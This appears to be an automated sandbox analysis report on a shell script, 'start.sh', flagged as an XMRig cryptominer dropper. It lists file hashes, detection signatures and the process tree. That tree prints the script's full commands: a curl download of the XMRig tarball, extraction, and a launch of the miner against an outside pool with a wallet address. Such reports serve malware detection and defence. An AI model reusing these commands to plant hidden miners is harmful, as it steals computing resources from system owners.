Analysis

  • max time kernel
    43s
  • max time network
    45s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    20-03-2024 21:37

General

  • Target

    start.sh

  • Size

    587B

  • MD5

    60908850cbaa3ea10f537854675c5017

  • SHA1

    ff4713b46e81dbe16a83efd12b0c274ee8f84893

  • SHA256

    3a9ef4c00e2aa7392ee7694a97369c4704a2558c5e3f60d0d4c08d85edb40415

  • SHA512

    eec5e1b0c381b01b1866925dd5f593ed658215ca88cf9d3eee711e96d6617434896cf12b297e81fbc2e42eb01a474ff92473ac43ad639f23a515a5958084c407

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/start.sh
    /tmp/start.sh
    1⤵
      PID:695
      • /usr/bin/curl
        curl -L https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-static-x64.tar.gz -o xmrig-6.21.1-linux-static-x64.tar.gz
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:698
      • /bin/tar
        tar -xvf xmrig-6.21.1-linux-static-x64.tar.gz
        2⤵
        • Reads runtime system information
        PID:773
        • /usr/local/sbin/gzip
          gzip -d
          3⤵
            PID:774
          • /usr/local/bin/gzip
            gzip -d
            3⤵
              PID:774
            • /usr/sbin/gzip
              gzip -d
              3⤵
                PID:774
              • /usr/bin/gzip
                gzip -d
                3⤵
                  PID:774
                • /sbin/gzip
                  gzip -d
                  3⤵
                    PID:774
                  • /bin/gzip
                    gzip -d
                    3⤵
                      PID:774
                  • /tmp/xmrig-6.21.1/xmrig
                    ./xmrig --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
                    2⤵
                    • Executes dropped EXE
                    PID:775

                Network

                MITRE ATT&CK Matrix

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/xmrig-6.21.1-linux-static-x64.tar.gz

                  Filesize

                  804KB

                  MD5

                  8095b5975f60740497ee16dded0863ca

                  SHA1

                  76bd914c066f80b8f8530f3284abe09dd3264313

                  SHA256

                  b1ff284d31110278966bda01581c5ae3a30ccad6f2e2184b7df26d0857cb23ee

                  SHA512

                  d219603dfbda5b5e6f5fb014e3b48d2478443db7771a5cee442fbf71129a7e29deb5e5cb03c07669cba4ae29d32703c83f13181ad5d50b0f2409178b70fffcb5

                • /tmp/xmrig-6.21.1/SHA256SUMS

                  Filesize

                  150B

                  MD5

                  aa5b108a656f868047990ffe924da82b

                  SHA1

                  118a8199507eb3eb40c03520b5b3b774e86cb40b

                  SHA256

                  0cd87c42d76e181e459e855fa1be19a8ba0add9378aa25cfa70c815c9b0967dd

                  SHA512

                  9fc3807efbb407163322bfcdd4415c114013bd2a8f89daca715b2cca2514e9d6f404d42bfd76c141784c64f4594e6bbf4c6551a58691eb961bc6740e15d1800d

                • /tmp/xmrig-6.21.1/config.json

                  Filesize

                  2KB

                  MD5

                  66f38c96a4901e7b345787c447842b3e

                  SHA1

                  2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

                  SHA256

                  2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

                  SHA512

                  71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

                • /tmp/xmrig-6.21.1/xmrig

                  Filesize

                  5.0MB

                  MD5

                  71d89e192b930afeada485419f213643

                  SHA1

                  447d2aeed6e048f95860b890e0d1f7ff72783e7b

                  SHA256

                  a8f5f90b14549fd00c5b0809fb6bcf6f7617e5c39c098a2ee7cef6115e6eca21

                  SHA512

                  32d91ed80cb16a8d9d4ba6dce901d3fad32e70e212addc21a045cd30c9ea1614be0a7c4a91166e685209427a3849b62b683567281628376f9a98dd4485438e42